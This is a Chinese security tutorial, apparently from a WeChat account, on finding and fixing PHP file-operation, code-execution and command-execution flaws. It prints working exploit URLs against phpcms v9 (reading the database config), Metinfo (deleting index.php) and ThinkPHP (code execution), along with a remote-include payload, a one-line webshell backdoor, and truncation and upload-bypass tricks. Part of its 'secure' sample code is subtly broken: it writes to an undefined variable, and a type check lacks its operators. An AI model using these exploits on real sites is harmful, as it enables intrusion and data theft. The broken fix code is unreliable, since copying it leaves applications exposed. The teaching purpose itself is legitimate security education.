查看原文
其他

漏洞挖掘与防范(二)

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488



微信公众号:计算机与网络安全

ID:Computer-network

本文介绍文件操作、系统命令执行以及代码执行有关的漏洞。


一、文件操作漏洞


文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传,这几种文件操作的漏洞有部分的相似点,但是每种漏洞都有各自的漏洞函数以及利用方式,下面我们来具体分析下它们的形成原因、挖掘方式以及修复方案。


(一)文件包含漏洞


PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(local file include)和远程文件包含(remote file include),顾名思义就能理解它们的差别在哪,而不管哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取webshell。文件包含函数有include()、include_once()、require()和require_once(),它们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码依然会继续执行;而require()和require_once()则会直接报错退出程序。

1、挖掘经验


文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方,比如传入的模块名参数,实际上是直接把这个拼接到了包含文件的路径中,比如像espcms的代码:


$archive = indexget('archive','R');

$archive = empty($archive)?'adminuser':$archive;

$action = indexget('action','R');

$action = empty($action)?'login':$action;

include admin_ROOT . adminfile . "/control/$archive.php";


传入的archive参数就是被包含的文件名,所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程,看看里面模块加载时包含的文件是否可控,另外就是直接搜索include()、include_once()、require()和require_once()这四个函数来回溯看看有没有可控的变量,它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。一般这类都是本地文件包含,大多是需要截断的,截断的方法下面我们再细说。


2、本地文件包含


本地文件包含(local file include,LFI)是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用这些地方,渗透的时候利用起来并不鸡肋,本地文件包含有多种利用方式,比如上传一个允许上传的文件格式的文件再包含来执行代码,包含PHP上传的临时文件,在请求URL或者ua里面加入要执行的代码,WebServer记录到日志后再包含WebServer的日志,还有像Linux下可以包含/proc/self/environ文件。


测试代码1.php如下所示:


<?php

//初始化

....

define("ROOT",dirname(__FILE__).'/');

//加载模块

$mod = $_GET['mod'];

echo ROOT.$mod.'.php';

include(ROOT.$mod.'.php');

?>


我们在同目录下2.php写入如下代码:


<?php phpinfo();?>


请求/1.php?mod=2执行结果如下图所示。


(1)远程文件包含


远程文件包含(remote file include,RFI)是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include=On,PHP5.2之后这个选项的可修改范围是PHP_INI_ALL。四个文件包含的函数都支持HTTP、FTP等协议,相对于本地文件包含,它更容易利用,不过出现的频率没有本地文件包含多,偶尔能挖到,下面我们来看看基于HTTP协议测试代码:


<?php

include($_GET['url']);

?>


利用则在GET请求url参数里面传入"http://remotehost/2.txt",其中远程机器上的2.txt是一个内容为<?php phpinfo();?>。访问后返回本机的phpinfo信息。


远程文件包含还有一种PHP输入输出流的利用方式,可以直接执行POST代码,这里我们仍然用上面这个代码测试,只要执行POST请求1.php?a=php://input,POST内容为PHP代码"<?php phpinfo();?>"即可打印出phpinfo信息,如下图所示。


(2)文件包含截断


大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是像include(BASEPATH.$mod.'.php')或者include($mod.'.php')这样的方式,如果我们不能写入以.php为扩展名的文件,那我们是需要截断来利用的。


下面我们就来详细说一下各种截断方式。


第一种方式,利用%00来截断,这是最古老的一种方法,不过在笔者做渗透测试的过程中,发现目前还是有很多企业的线上环境可以这么利用。%00截断受限于GPC和addslashes等函数的过滤,也就是说,在开启GPC的情况下是不可用的,另外在PHP5.3之后的版本全面修复了文件名%00截断的问题,所以在5.3之后的版本也是不能用这个方法截断的。下面我们来演示一下%00截断,测试代码1.php:


<?php

include $_GET['a'].'.php'

?>


测试代码2.txt内容为phpinfo。


请求http://localhost/test/1.php?a=2.txt%00即可执行phpinfo的代码如下图所示。


第二种方式,利用多个英文句号(.)和反斜杠(/)来截断,这种方式不受GPC限制,不过同样在PHP 5.3版本之后被修复。下面让我们来演示一下:


测试代码如下:


<?php

$str='';

for($i=0;$i<=240;$i++)

{

$str .= '.';

}

$str = '2.txt'.$str;

echo $str;

include $str.'.php';

?>


我在Windows下测试是240个连接的点(.)能够截断,同样的点(.)加斜杠(/)也是240个能够截断,Linux下测试的是2038个/.组合才能截断。


第三种方式,远程文件包含时利用问号(?)来伪截断,不受GPC和PHP版本限制,只要能返回代码给包含函数,它就能执行,在HTTP协议里面访问http://remotehost/1.txt和访问http://remotehost/1.txt?.php返回的结果是一样的,因为这时候WebServer把问号(?)之后的内容当成是请求参数,而txt不在WebServer里面解析,参数对访问1.txt返回的内容不影响,所以就实现了伪截断。


测试代码如下:


<?php

include $_GET['a'].'.php';


请求/1.php?a=http://remotehost/2.txt?2.txt内容同样为phpinfo的代码,请求之后会打印出phpinfo信息。


(3)Metinfo文件包含漏洞分析


漏洞出现在文件/message/index.php,这个地方调用模块方式是直接从GET请求中获取模块名,拼接到require_once函数中,因此模块名可控导致了可以远程包含文件,代码如下:


if(!$metid)

$metid='index';

if($metid!='index')

{

require_once $metid.'.php';

}

else

{

/*省略*/

}


$metid是从GET提交的,这段代码的意思是,如果提交的参数metid不是index,则执行require_once$metid.'.php'去包含加载模块文件,这里可以用我们上面说的三种方式来利用,假设allow_url_include=on,只要在远程写一个1.txt的文件,利用问号来伪截断即可,或者搭一个不解析PHP的WebServer,访问的时候不加文件扩展名,这里给出当时写文档时留的一个截图,如下图所示。


(二)文件读取(下载)漏洞


文件读取漏洞与下载漏洞差别不大,这里就合并在一起说,文件读取漏洞在很多大型应用上都出现过,例如之前的phpcmsv9的任意文件读取,可以直接读取数据库配置文件,当时也是有很多企业因为这个漏洞被入侵。这个漏洞很容易理解,部分程序在下载文件或者读取显示文件的时候,读取文件的参数filename直接在请求里面传递,后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。


挖掘经验:文件读取的漏洞寻找起来很是比较容易的,一种方式是可以先黑盒看看功能点对应的文件,再去读文件,这样找起来会比较快。另外一种方式就是去搜索文件读取的函数,看看有没有可以直接或者间接控制的变量,文件读取函数列表如下:file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file(),除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数include等,可以利用PHP输入输出流php://filter/来读取文件。


phpcms任意文件读取分析


这里介绍phpcms v9的任意文件读取漏洞,漏洞位于文件/phpcms/modules/search/index.phppublic_的get_suggest_keyword函数,代码如下:


public function public_get_suggest_keyword()

{

$url = $_GET['url'].'&q='.$_GET['q'];

$res = @file_get_contents($url);

if(CHARSET!= 'gbk')

{

$res = iconv('gbk',CHARSET,$res);

}

echo $res;

}


这里可以看到该函数直接从GET参数里面获取要读取的URL,然后使用file_get_contents函数来读取内容,不过这里有一点要说一下,如果直接提交?url=&q=1.php我们打印出来url变量可以看到值为“&q=1.php”,带到函数里面则是file_get_contents(“&q=1.php”),这样是读不到当前文件的,需要?url=&q=../../1.php这样多加两个”../”,把“&q=”当成目录来跳过,最终这个漏洞读取数据库配置文件的EXP为:


/index.php?m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php


利用截图如下图所示。


(三)文件上传漏洞


文件上传漏洞是出现最早的漏洞,也是最容易理解的漏洞,应用程序都是代码写的,代码都是写在文件里面执行的,如果能把文件上传到管理员或者应用程序不想让你上传的目录,那就是存在文件上传漏洞。注意这里并不是说一定是上传一个WebServer可以解析的代码文件到可以解析的目录,漏洞的定义是做攻击目标不想让你做的事情,而你又发现可以做到。


文件上传漏洞跟SQL注入一样丰富精彩,有很多漏洞场景和利用方式。在早期Web安全不太普及的时候,文件上传漏洞大多是没有限制文件格式导致可以直接上传文件,到近几年这类例子已经很少见,目前存在较多的是黑名单过滤存在绕过导致文件上传漏洞。


挖掘经验:文件上传漏洞比较好理解,同样挖掘起来也比较简单,一般应用可以上传文件的点比较少,其次是目前大多Web应用都是基于框架来写,上传的点都是调用的同一个上传类,上传函数又只有move_uploaded_file()这一个,所以文件上传漏洞在代码审计的时候,最快的方法就是直接去搜索move_uploaded_file()函数,再去看调用这个函数上传文件的代码存不存在未限制上传格式或者可以绕过,其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式,没有更改文件名的情况下,在Apache利用其向前寻找解析格式和IIS6的分号解析bug都可以执行代码。


1、未过滤或本地过滤


未过滤和本地过滤共同点是在服务器端都未过滤,这个未过滤指的是没限制任何格式的文件上传,就是一个最简单的文件上传功能,上传的时候直接上传PHP格式的文件即可利用,它的代码简化之后就直接是下面这样:


<?php

move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);

?>


move_uploaded_file函数直接把上传的临时文件copy到了新文件。


2、黑名单扩展名过滤


黑名单扩展名是前几年用得比较多的验证方式,后来因为绕过多了,就慢慢改用了白名单。


黑名单的缺点有以下几个。


1)限制的扩展名不够全,上传文件格式不可预测的性质导致了可能会有漏网之鱼。PHP能够在大多数的WebServer上配置解析,不同的WebServer默认有不同的可以解析的扩展名,典型的IIS默认是支持解析ASP语言的,不过在IIS下执行ASP的代码可不止.asp这个扩展名,还有cdx、asa、cer等,如果代码里面没有把这些写全,一旦漏掉一个就相当于没做限制。我们来看看PHPCMSv9里面限制的:


$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm |aspx|asax|cgi|fcgi|pl)(\.|$)/i","_\\1\\2",$savefile);


很明显我们上面说的cdx不在这个列表里面。


2)验证扩展名的方式存在问题可以直接绕过,另外是结合PHP和系统的特性,导致了可以截断文件名来绕过黑名单限制。下面先看一段代码:


<?php

function getExt($filename)

{

return substr($filename,strripos($filename,'.')+1);

}

$disallowed_types = array("php","asp","aspx");

//获取文件扩展名

$FilenameExt = strtolower(getExt($_FILES["file"]["name"]));

#判断是否在被允许的扩展名里

if(in_array($FilenameExt,$disallowed_types))

{

die("disallowed type");

}

else

{

$filename = time().".".$FilenameExt;

//移动文件

move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $FileName);

}


这段代码的问题在获取文件扩展名与验证扩展名,如果我们上传文件的时候文件名为“1.php”,注意后面有一个空格,则这里$FilenameExt的值为“php”,后面有一个空格,这时候in_array($FilenameExt,$disallowed_types)是返回false的,最终成功上传文件。


另外一种情况是正确的黑名单方式验证了扩展名,但是文件名没有修改,导致可以在上传时使用“%00”来截断写入,如“1.php%00.jpg”,验证扩展名时拿到的扩展名是jpg,写入的时候被%00截断,最终写入文件1.php,这里不再给出案例。


3、文件头、content-type验证绕过


这两种方式也是早期出现得比较多的,早期搞过渗透的人可能遇到过,上传文件的时候,如果直接上传一个非图片文件会被提示不是图片文件,但是在文件头里面加上“GIF89a”后上传,则验证通过,这是因为程序用了一些不可靠的函数去判断是不是图片文件,比如getimagesize()函数,只要文件头是“GIF89a”,它就会正常返回一个图片的尺寸数组,我们来验证一下,测试代码:


<?php

print_r(getimagesize('1.gif'));

?>


测试结果截图如下图所示。


content-type是在http request的请求头里面,所以这个值是可以由请求者自定义修改的,而早期的一些程序只是单纯验证了这个值,笔者在写这段文字的时候还专门去w3school等网站看了上面的PHP教程就存在这个问题。找了一段存在这个漏洞的代码如下:


<?php

$type = $_FILES['img']['type'];

if(($type == "image/pjpeg")($type == "image/jpg")($type == image/jpeg")($type == "image/gif")($type == "image/bmp")($type == "image/png")($type == "image/x-png"))

{

//uploading

}

?>


4、phpcms任意文件上传分析


这里我们以PHPCMSv9公开的一个会员投稿处文件上传漏洞,漏洞在文件/phpcms/libs/classes/attachment.class.php的upload()函数,为了易于理解,这里省略部分代码,代码如下:


function upload($field,$alowexts = '',$maxsize = 0,$overwrite = 0,$thumb_setting = array(),$watermark_enable = 1)

{

/***省略***/

$this->alowexts = $alowexts;

//获取允许上传的类型

/***省略***/

foreach($uploadfiles as $k=>$file)

{  

//多文件上传,循环读取文件上传表单

$fileext = fileext($file['name']);

//获取文件扩展名

/***省略***/

//检查上传格式,不过$alowexts是从表单提交的,可绕过

if(!preg_match("/^(".$this->alowexts.")$/",$fileext))

{

$this->error = '10';

return false;

}

/***省略***/

$temp_filename = $this->getname($fileext);

$savefile = $this->savepath.$temp_filename;

$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl

)(\.|$)/i","_\\1\\2",$savefile);

//最需要绕过的地方在这里

/***保存文件***/

if(@$upload_func($file['tmp_name'],$savefile))

{


从上面的代码我们可以看出,这个漏洞最有意思的地方在:


$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa| shtml|shtm |aspx|asax|cgi|fcgi|pl)(\.|$)/i","_\\1\\2",$savefile);


而获取文件扩展名的函数内容为:


function fileext($filename)

{

return strtolower(trim(substr(strrchr($filename,'.'),1,10)));

}


这里用了trim()函数去掉了空格,我们之前举例用空格绕过的方式在这里就不好使了,那有没有其他字符一样可以达到空格的效果呢,即“1.phpX”,X代表某个字符?仔细看正则会把如“1.php”替换为“1._php”,把“1.php.jpg”替换为“1._php.jpg”,利用fuzz的方式找到了%81-%99是可行的,仅在Windows下。利用时修改文件上传表单里的filename,在文件名后面利用十六进制修改原预留的空格20为81~99中的一个。


(四)文件删除漏洞


文件删除漏洞出现在有文件管理功能的应用上比较多,这些应用一般也都有文件上传和读取等功能,它的漏洞原理跟文件读取漏洞是差不多的,不过是利用的函数不一样而已,一般也是因为删除的文件名可以用../跳转,或者没有限制当前用户只能删除他该有权限删除的文件。常出现这个漏洞的函数是unlink(),不过老版本下session_destroy()函数也可以删除文件。


挖掘经验:挖掘文件删除漏洞可以先去找相应的功能点,直接黑盒测试一下看能不能删除某个文件,如果删除不了,再去从执行流程去追提交的文件名参数的传递过程,这样查找起来比较精准。如果纯白盒挖的话,也可以去搜索带有变量参数的unlink(),依然采用回溯变量的方式。关于session_destroy()函数删除任意文件的漏洞这里就不再举例了,因为在比较早的PHP版本就已经修复掉了这个问题,限制了PHPSESSID只能由“字母+数字+横杆”符号组成。


Metinfo任意文件删除分析


这里的案例使用之前发现的一个metinfo企业内容管理系统漏洞来说明,漏洞在recovery.php文件,代码如下:


if($action=='delete')

{

if(is_array($filenames))

{

foreach($filenames as $filename)

{

if(fileext($filename)=='sql')

{

@unlink('../databack/'.$filename);

}

}

}

else

{

if(fileext($filenames)=='sql')

{

$filenamearray=explode(".sql",$filenames);

@unlink('../../databack/'.$filenames);

@unlink('../../databack/sql/metinfo_'.$filenamearray[0].".zip");

}

else

{

//如果不是SQL文件,直接删除

@unlink('../../databack/'.$fileon.'/'.$filenames);

}

}


这段代码首先判断请求的action参数的值是不是delete,如果是则进入文件删除功能,在代码:


if(fileext($filenames)=='sql')

{


判断如果不是sql文件后,就直接在databack目录删除提交的文件名,代码中$filenames函数从GET中提交,只要请求:


/recovery.php?&action=delete&filenames=../../index.php


即可删除index.php文件。


(五)文件操作漏洞防范


文件操作漏洞在部分原理及利用方式上面都有一定相似性,所以下面我们分为通用防御手段和针对性防御手段来介绍怎么防御文件操作漏洞。


1、通用文件操作防御


文件操作漏洞利用有几个共同点如下:


1)由越权操作引起可以操作未授权操作的文件。

2)要操作更多文件需要跳转目录。

3)大多都是直接在请求中传入文件名。


我们需要这几个共同点来思考防御手段:


对权限的管理要合理,比如用户A上传的文件其他平行权限的用户在未授权的情况下不能进行查看和删除等操作,特殊的文件操作行为限定特定用户才有权限,比如后台删除文件的操作,肯定是需要限制管理员才能操作。


有的文件操作是不需要直接传入文件名的,比如下载文件的时候,下载的文件是已知的,则我们可以用更安全的方法来替代直接以文件名为参数下载操作,在上传文件时,只要把文件名、文件路径、文件ID(随机MD5形式)以及文件上传人存储在数据库中,下载的时候直接根据文件ID和当前用户名去判断当前用户有没有权限下载这个文件,如果有则读取路径指向的这个文件并返回下载即可。


要避免目录跳转的问题,在满足业务需求的情况下,我们可以使用上面第二说的方法,但是有的情况下如后台进行文件编辑等操作时,需要传入文件路径的,可以在后台固定文件操作目录,然后禁止参数中有“..”两个点和反斜杠“/”以及斜杠“\”来跳转目录,怎么禁止呢?检查到传入的参数有这些字符,之间提示禁止操作并停止程序继续往下执行即可。


2、文件上传漏洞防范


文件上传漏洞相比下载、删除更复杂,所以这里单独拿出来讲一下怎么防范,文件上传漏洞虽然定位起来比较简单,但是修复起来要考虑的东西还是不少,主要是不同环境下的利用场景比较多,需要比较完善的策略去防止漏洞出现。修复和防止一种漏洞之前,要比较全的清楚这种漏洞在不同环境下的利用方式,这样才能防御的比较全,文件上传漏洞主要有两种利用方式,分为上传的文件类型验证不严谨和写入文件不规范。针对这两种利用方式,我给出的防范方案如下:


1)白名单方式过滤文件扩展名,使用in_array或者三等于(===)来对比扩展名。


2)保存上传的文件时重命名文件,文件名命名规则采用时间戳的拼接随机数的MD5值方式"md5(time()+rand(1,10000))"。


我们对之前的代码稍微改动下,给出示例代码如下:


<?php

function getExt($filename)

{

return substr($filename,strripos($filename,'.')+1);

}

$disallowed_types = array('jpg','png','gif');

// 获取文件扩展名

$FilenameExt = strtolower(getExt($_FILES["file"]["name"]));

# 判断是否在被允许的扩展名里

if(!in_array($FilenameExt,$disallowed_types))

{

die("disallowed type");

}

else

{

$filename = md5(time()+rand(1,10000)).".".$FilenameExt;

//移动文件

move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $FileName);

}

?>


二、代码执行漏洞


代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。说得好理解一点,类似于SQL注入漏洞,可以把SQL语句注入到SQL服务执行,而PHP代码执行漏洞则是可以把代码注入应用中最终到WebServer去执行。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web后门存在,该漏洞主要由eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()等函数的参数过滤不严格导致,另外还有PHP的动态函数($a($b))也是目前出现比较多的。


(一)挖掘经验


eval()和assert()函数导致的代码执行漏洞大多是因为载入缓存或者模板以及对变量的处理不严格导致,比如直接把一个外部可控的参数拼接到模板里面,然后调用这两个函数去当成PHP代码执行。


preg_replace()函数的代码执行需要存在/e参数,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。


call_user_func()和call_user_func_array()函数的功能是调用函数,多用在框架里面动态调用函数,所以一般比较小的程序出现这种方式的代码执行会比较少。array_map()函数的作用是调用函数并且除第一个参数外其他参数为数组,通常会写死第一个参数,即调用的函数,类似这三个函数功能的函数还有很多。


除了上面这些函数导致的代码执行漏洞,还有一类非常常见的是动态函数的代码执行,比如下面这样的写法:


$_GET($_POST["xx"])


基于这种写法变形出来的各种异形,经常被用来当作Web后门使用,可以看到这里的PHP函数是从$_GET变量当做字符串传入进来的,这是PHP的一个特性。


1、代码执行函数


PHP代码执行有多种利用方式,但目前见得最多的还是由于函数的使用不当导致的,这类函数还不少,有eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等,下面我们来详细看看各自产生漏洞的原理和利用方式吧。


(1)eval和assert函数


这两个函数原本的作用就是用来动态执行代码,所以它们的参数直接就是PHP代码,我们来看看是怎么使用的,测试代码如下:


<?php

$a='aaa';

$b='bbb';

eval('$a=$b;');

var_dump($a);


测试截图如下图所示。


(2)preg_replace函数


preg_replace函数的作用是对字符串进行正则处理,我们在上面的挖掘经验已经介绍了,它经常会出现漏洞的位置,下面我们来看看它在什么情况下才会出现代码执行漏洞。


它的参数和返回如下:


mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject [,int $limit = -1 [,int &$count ]])


这段代码的含义是搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处即第一个参数存在e修饰符时,$replacement的值会被当成PHP代码来执行,我们来看一个简单的例子(1.php)。


<?php

preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);

?>


正则的意思是从$_GET['str']变量里搜索中括号[]中间的内容作为第一组结果,preg_replace()函数第二个参数为'\\1'代表这里用第一组结果填充,这里是可以直接执行代码的,所以当我们请求/1.php?str=[phpinfo()]时,则执行代码phpinfo(),结果如下图所示。


(3)调用函数过滤不严


call_user_func()和array_map()等数十个函数有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。


我们用call_user_func()函数来举例,函数的作用是调用函数并且第二个参数作为要调用的函数的参数,官方说明如下:


mixed call_user_func(callable $callback [,mixed $parameter [,mixed $... ]])


该函数第一个参数为回调函数,后面的参数为回调函数的参数,测试代码如下:


<?php

$b="phpinfo()";

call_user_func($_GET['a'],$b);

?>


当请求1.php?a=assert的时候,则调用了assert函数,并且将phpinfo()作为参数传入,如下图所示。


同类的函数还有如下这些:


call_user_func()

call_user_func_array()

array_map()

usort()

uasort()

uksort()

array_filter()

array_reduce()

array_diff_uassoc()

array_diff_ukey()

array_udiff()

array_udiff_assoc()

array_udiff_uassoc()

array_intersect_assoc()

array_intersect_uassoc()

array_uintersect()

array_uintersect_assoc()

array_uintersect_uassoc()

array_walk()

array_walk_recursive()

xml_set_character_data_handler()

xml_set_default_handler()

xml_set_element_handler()

xml_set_end_namespace_decl_handler()

xml_set_external_entity_ref_handler()

xml_set_notation_decl_handler()

xml_set_processing_instruction_handler()

xml_set_start_namespace_decl_handler()

xml_set_unparsed_entity_decl_handler()

stream_filter_register()

set_error_handler()

register_shutdown_function()

register_tick_function()


2、动态函数执行


由于PHP的特性原因,PHP的函数可以直接由字符串拼接,这导致了PHP在安全上的控制又加大了难度,比如增加了漏洞数量和提高了PHP后门的查杀难度。要找漏洞就要先理解为什么程序代码要这么写,不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func的初衷是一样的,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。


PHP动态函数写法为“变量(参数)”,我们来看一个动态函数后门的写法:


<?php

$_GET['a']($_GET['b']);

?>


代码的意思是接收GET请求的a参数,作为函数,b参数作为函数的参数。当请求a参数值为assert,b参数值为phpinfo()的时候打印出phpinfo信息,请求如下:


http://127.0.0.1/test/1.php?a=assert&b=phpinfo()


执行结果如下图所示。


要挖掘这种形式的代码执行漏洞,需要找可控的动态函数名。


3、Thinkphp代码执行漏洞分析


要分析代码执行的案例,在Java界来说就是Struts2的代码执行了,不过在PHP领域,国内影响比较大的代码执行漏洞非thinkphp框架URL解析的代码执行漏洞莫属,这个漏洞的影响力,做渗透测试的安全人员应该比较清楚,在国内还是会经常遇到这个漏洞的。


下面我们来分析这个漏洞的原理,thinkphp框架的GET参数以index.php/a/b/c的形式传递,程序在获取参数之前需要先解析URL,漏洞就发生在解析URL的地方,官方补丁对比地址如下:


https://code.google.com/p/thinkphp/source/diff?spec=svn2904&r=2838&format=side&path=/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php。


漏洞出现在/ThinkPHP/Lib/Core/Dispatcher.class.php文件的dispatch()函数,为了节省篇幅,这里只贴出关键代码:


$depr = C('URL_PATHINFO_DEPR');

if(!empty($_SERVER['PATH_INFO']))

{

tag('path_info');

if(C('URL_HTML_SUFFIX'))

{

$_SERVER['PATH_INFO'] = preg_replace('/\.'.trim(C('URL_HTML_SUFFIX'),'.').'$/i','',$_SERVER['PATH_INFO']);

}

if(!self::routerCheck())

{   

//检测路由规则如果没有则按默认规则调度URL

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

/*****省略****/

$var[C('VAR_ACTION')]  =   array_shift($paths);

//解析剩余的URL参数

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e',

'$var [\'\\1\']="\\2";',implode($depr,$paths));

$_GET   =  array_merge($var,$_GET);

}


可以看到这里使用preg_replace()函数,我们在前面已经介绍了关于这个函数的代码执行漏洞,这个函数里面的变量为$depr和$paths,代码中的这句话:


$depr = C('URL_PATHINFO_DEPR');


是取得配置中的参数分隔符,下面这句话:


$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));


则是从$_SERVER['PATH_INFO']中以$depr为分隔符分割后的数组,而后面又用implode()函数还原成字符串才带入preg_replace()函数,关键在于:


'$var[\'\\1\']="\\2";'


代码的意思是,把正则匹配出来的参数1初始化到$var变量中,并且赋值为参数2的值,问题是这段代码在赋值的时候使用的是双引号("),在PHP中,如果字符串使用双引号括起来,中间的变量是会正常解析的,如:


<?php

$a=1;

echo "$a";

?>


会输出1,而不是$a,利用这个特性,再结合PHP可变变量即可执行任意代码,最终EXP为:


/index.php/module/action/param1/${@phpinfo()}


(二)漏洞防范


采用参数白名单过滤,在可预测满足正常业务的参数情况下,这是非常实用的方式,这里的白名单并不是说完全固定为参数,因为在eval()、assert()和preg_replace()函数的参数中大部分是不可预测一字不差的,我们可以结合正则表达式来进行白名单限制,用上面的thinkphp来举例,如果我们事先已经知道这个URL里面的第二个参数值由数字构成即可满足业务需求,则可以在正则里用\d+来限制第二个参数内容,这样相对更加安全,用代码举例更加清晰易懂,代码如下:


<?php

preg_replace('/(\w+)\(.*)/ie','$\\1="\\2";',$_GET['a']);

?>


这段代码是有问题的,只要提交/1.php?a=b|${@phpinfo()}即可执行phpinfo()函数,这时候如果我们知道\\2的值范围为纯数字,只要正则改成(\w+)\|(\d+)即可解决执行代码的问题,这只是一种修复方案,最好的方法是:在$\\1="\\2"这里不要用双引号。


三、命令执行漏洞


代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统或者应用指令(如CMD命令或者bash命令)的漏洞,PHP的命令执行漏洞主要基于一些函数的参数过滤不严导致,可以执行命令的函数有system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),一共七个函数,另外反引号(`)也可以执行命令,不过实际上这种方式也是调用的shell_exec()函数。PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大。


(一)挖掘经验


命令执行漏洞最多出现在包含环境包的应用里,类似于eyou(亿邮)这类产品,直接在系统安装即可启动自带的Web服务和数据库服务,一般这类的产品会有一些额外的小脚本来协助处理日志以及数据库等,Web应用会有比较多的点之间使用system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()等函数执行系统命令来调用这些脚本,用得多了难免就会出现纰漏导致漏洞,这类应用可以直接在代码里搜这几个函数,收获应该会不少。除了这类应用,还有像discuz等应用也有调用外部程序的功能,如数据库导出功能,曾经就出现过命令执行漏洞,因为特征比较明显,所以可以直接搜函数名即可进行漏洞挖掘。


1、命令执行函数


上面我们说到有七个常用函数可以执行命令,包括system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),另外还有反引号(`)也一样可以执行命令,下面我们来看看它们的执行方式。


这些函数里system()、exec()、shell_exec()、passthru()以及反引号(`)是可以直接传入命令并且函数会返回执行结果,比较简单和好理解,其中system()函数会直接回显结果打印输出,不需要echo也可以,我们来用代码举例。测试代码如下:


<?php

system('whoami');

?>


可以看到执行结果输出了当前WebServer用户,如下图所示。


pcntl是PHP的多进程处理扩展,在处理大量任务的情况下会使用到,使用pcntl需要额外安装,它的函数说明如下:


void pcntl_exec(string $path [,array $args [,array $envs ]])


其中$path为可执行程序路径,如果是Perl或者Bash脚本,则需要在文件头加上#!/bin/bash来标识可执行程序路径,$args表示传递给$path程序的参数,$envs则是执行这个程序的环境变量。


popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了,我们主要关心的是这个。下面我们看看popen()的用法,它需要两个参数,一个是执行的命令,另外一个是指针文件的连接模式,有r和w代表读和写。测试代码如下:


<?php

popen('whoami >>D:/2.txt','r');

?>


执行完成后可以在D盘根目录看到2.txt这个文件,内容为WebServer用户名。


2、反引号命令执行


上面我们讲到反引号(`)也可以执行命令,它的写法很简单,实际上反引号(`)执行命令是调用的shell_exec()函数,为什么这么说?我们来看一段简单的代码就知道了,代码如下:


<?php

echo `whoami`;

?>


这段代码正常执行的情况下是会输出当前用户名的,而我们在php.ini里面把PHP安全模式打开一下,再重启下WebServer重新加载PHP配置文件,再执行这段代码的时候,我们会看到下面这个提示:


Warning:shell_exec()[function.shell-exec]:Cannot execute using backquotes in Safe Mode in D:\www\test\1.php on line 2


这个提示说明反引号执行命令的方式是使用的shell_exec()函数。


3、亿邮命令执行漏洞分析


命令执行的漏洞案例还是有很多的,这里挑选自己挖到的比较经典的一个eyou(亿邮)的命令执行漏洞,重点在于漏洞的逻辑,而不在于漏洞的影响力有多大。


漏洞利用在/swfupload/upload_files.php文件,代码如下:


<?php

//--获得UID,DOMAIN,TOKEN

$uid = $_GET['uid'];

//从GET中获取uid参数

$domain=$_GET['domain'];

//从GET中获取domain参数

$token = $_GET['token'];

$POST_MAX_SIZE = ini_get('post_max_size');

$unit = strtoupper(substr($POST_MAX_SIZE,-1));

$multiplier =($unit == 'M'?1048576:($unit == 'K'?1024:($unit == 'G'?1073741824:1)));

if((int)$_SERVER['CONTENT_LENGTH'] > $multiplier*(int)$POST_MAX_SIZE && $POST_MAX_SIZE)

{

header("HTTP/1.1 500 Internal Server Error");

echo "POST exceeded maximum allowed size.";

exit();

}

//--获得附件存放路径存在用户的token目录下

$save_path = getUserDirPath($uid,$domain);

//传入uid参数到getUserDirPath()函数


从代码中可以看出,$uid=$_GET['uid'];表示从GET中获取uid参数,在下面一点将$uid变量传递到了getUserDirPath()函数,跟进该函数,在/inc/function.php文件,代码如下:


function getUserDirPath($uid,$domain)

{

$cmd = "/var/eyou/sbin/hashid $uid $domain";

$path = `$cmd`;

$path = trim($path);

return $path;

}


